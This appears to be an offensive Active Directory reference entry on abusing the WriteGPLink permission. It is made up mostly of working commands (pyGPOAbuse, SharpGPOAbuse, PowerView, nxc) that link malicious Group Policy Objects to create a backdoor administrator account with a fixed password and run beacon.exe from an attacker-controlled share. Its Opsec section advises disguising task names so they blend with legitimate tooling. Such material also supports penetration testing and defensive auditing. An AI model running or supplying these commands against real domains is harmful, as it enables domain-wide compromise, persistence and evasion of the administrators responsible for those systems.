WriteGPLink

Source can link a GPO to the target OU/Domain/Site; by linking a malicious GPO, source gains code execution on all computers and/or users in scope of that container

Applies to: User/Group/Computer β†’ OU, Domain, Site

Note: WriteGPLink alone only lets you link a GPO. To create a malicious GPO you also need CreateChild on the Group Policy Objects container, or already have a GPO you control (via GenericAll/GenericWrite on a GPO). Most commonly chained with GenericAll-on-GPO + WriteGPLink-on-OU.


Linux Abuse

Step 1: Find or create a GPO to weaponize

Option A: Find a GPO you already control

# Enumerate GPOs and check write permissions
bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> get object 'CN=Policies,CN=System,DC=<domain>,DC=<tld>' --attr gPCFileSysPath

Option B: Create new GPO (requires CreateChild on GP container)

# Use pyGPOAbuse which handles GPO creation + linking
# Add local admin
python3 pygpoabuse.py '<domain>/<username>:<password>' \
    -gpo-id '<gpo-guid>' \
    -dc-ip <dc-ip> \
    -powershell \
    -command "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" \
    -taskname 'GpUpdate' \
    -description 'Windows update task' \
    -user-mode

# Immediate scheduled task (runs on computers in OU)
python3 pygpoabuse.py '<domain>/<username>:<password>' \
    -gpo-id '<gpo-guid>' \
    -dc-ip <dc-ip> \
    -command 'cmd /c "\\<attacker-ip>\share\beacon.exe"' \
    -taskname 'SvcMon' \
    -force
# pyGPOAbuse handles this with the -ou flag
python3 pygpoabuse.py '<domain>/<username>:<password>' \
    -gpo-id '<gpo-guid>' \
    -ou-dn 'OU=<ou-name>,DC=<domain>,DC=<tld>' \
    -dc-ip <dc-ip> \
    -powershell \
    -command "net localgroup administrators <username> /add" \
    -taskname 'SvcTask'

Trigger GPO refresh (forces target to process policy)

# Via SMB exec once you have creds on the target machine
nxc smb <target-computer> -u <username> -p '<password>' -x 'gpupdate /force'

Windows Abuse

SharpGPOAbuse β€” add local admin via linked GPO

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <username> --GPOName "<gpo-name>"

SharpGPOAbuse β€” add user script (runs on computer startup)

SharpGPOAbuse.exe --AddComputerScript --ScriptName evil.bat --ScriptContents "net user backdoor P@ssw0rd123! /add && net localgroup administrators backdoor /add" --GPOName "<gpo-name>"

SharpGPOAbuse β€” add user logon script

SharpGPOAbuse.exe --AddUserScript --ScriptName logon.bat --ScriptContents "cmd /c \\<attacker-ip>\share\beacon.exe" --GPOName "<gpo-name>"
$GPO = Get-DomainGPO -Identity '<gpo-name>'
$OU = Get-DomainOU -Identity '<ou-name>'
Set-GPLink -Guid $GPO.objectguid -Target $OU.distinguishedname -LinkEnabled Yes

Force GPO refresh on target

Invoke-GPUpdate -Computer <target-computer> -Force
# or via PsExec / WMI:
Invoke-WmiMethod -ComputerName <target-computer> -Class win32_process -Name Create -ArgumentList 'gpupdate /force'

Opsec

  • GPO linking generates a change in the OU's gPLink attribute (LDAP modify, event 5136 if DS audit enabled)
  • Scheduled tasks created via GPO are stored in SYSVOL under the GPO GUID β€” visible to anyone who can read SYSVOL
  • Use randomized task names and descriptions that blend with legitimate enterprise tooling